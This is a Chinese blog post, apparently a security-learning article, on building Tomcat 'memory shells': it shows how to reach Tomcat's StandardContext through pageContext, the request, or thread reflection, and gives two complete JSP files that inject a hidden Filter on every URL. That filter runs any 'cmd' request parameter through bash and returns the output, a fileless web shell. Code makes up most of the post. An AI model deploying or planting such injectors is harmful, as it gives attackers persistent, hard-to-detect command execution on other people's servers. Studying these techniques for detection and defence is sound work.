Java Tomcat内存马—入门到入土

作者: print("") 分类: Java学习 发布时间: 2021-12-26 17:22

前言:

对于各类Java 容器的内存马主要是需要获取context 

为什么context 对象这么重要呢,

对于能达成的目的:context拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

这里演示的为Filter 类型

一、当前获取context方法总结

1.JSP 通过pageContext获取context 

StandardContext context=((ApplicationContextFacade) ((PageContextImpl) pageContext).context).context.context;


本地建立一个testFiter 进行测试

StandardContext context=((ApplicationContextFacade) ((PageContextImpl) pageContext).context).context.context;
FilterDef def =new FilterDef();
def.setFilterName("a");
def.setFilterClass("cn.o2oxy.testFilter");
context.addFilterDef(def);
ApplicationFilterConfig applicationFilterConfig = new ApplicationFilterConfig(context, def);
context.filterConfigs.put("a", applicationFilterConfig);
FilterMap m =new FilterMap();
m.addURLPattern("/*");
m.setFilterName("a");
context.addFilterMap(m);

完整的如下: 

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "o2oxy.cn";
    Field page_context = pageContext.getClass().getDeclaredField("context");
    page_context.setAccessible(true);
    ServletContext servletContext=(ServletContext)page_context.get(pageContext);
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);



    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());



        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

2. 通过当前request  获取context 来源于https://xz.aliyun.com/t/10362

 ServletContext servletContext = request.getSession().getServletContext();

     Field appctx = servletContext.getClass().getDeclaredField("context");
     appctx.setAccessible(true);
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

     Field stdctx = applicationContext.getClass().getDeclaredField("context");
     stdctx.setAccessible(true);
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

二、没有request 的情况

还是通过Thread.currentThread() 去获取context对象。随便下一个段点进行测试

具体参考:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>

<%
    class Tomcat6789 {
        String uri;
        String serverName;
        StandardContext standardContext;
        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e){}
                catch (IllegalAccessException e){}
                clazz = clazz.getSuperclass();
            }
            return null;
        }





        public Tomcat6789() {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            Object object;
            for (Thread thread : threads) {

                if (thread == null) {
                    continue;
                }
                if (thread.getName().contains("exec")) {
                    continue;
                }
                Object target = this.getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    continue;
                }

                try {
                    object = getField(getField(getField(target, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                if (object == null) {
                    continue;
                }
                java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();

                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){continue;}
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    this.serverName = (String) getField(serverNameMB, "strValue");
                    if (this.serverName == null){
                        this.serverName = serverNameMB.toString();
                    }
                    if (this.serverName == null){
                        this.serverName = serverNameMB.getString();
                    }

                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                    this.uri = (String) getField(uriMB, "strValue");
                    if (this.uri == null){
                        this.uri = uriMB.toString();
                    }
                    if (this.uri == null){
                        this.uri = uriMB.getString();
                    }

                    this.getStandardContext();
                    return;
                }
            }
        }

        public void getStandardContext() {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads) {
                if (thread == null) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    HashMap children;
                    Object jioEndPoint = null;
                    try {
                        jioEndPoint = getField(target, "this$0");
                    }catch (Exception e){}
                    if (jioEndPoint == null){
                        try{
                            jioEndPoint = getField(target, "endpoint");
                        }catch (Exception e){ return; }
                    }
                    Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                    StandardEngine engine = null;
                    try {
                        engine = (StandardEngine) getField(service, "container");
                    }catch (Exception e){}
                    if (engine == null){
                        engine = (StandardEngine) getField(service, "engine");
                    }

                    children = (HashMap) getField(engine, "children");
                    StandardHost standardHost = (StandardHost) children.get(this.serverName);

                    children = (HashMap) getField(standardHost, "children");
                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                        return;
                    }
                }
            }
        }

        public StandardContext getSTC(){
            return this.standardContext;
        }
    }
%>

<%
    Tomcat6789 a = new Tomcat6789();
    StandardContext standardContext =a.getSTC();
    final String name = "o2oxy.cn";
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());



        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

%>

具体效果如下:

参考:

https://xz.aliyun.com/t/9914

https://xz.aliyun.com/t/7388

https://xz.aliyun.com/t/10362






如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。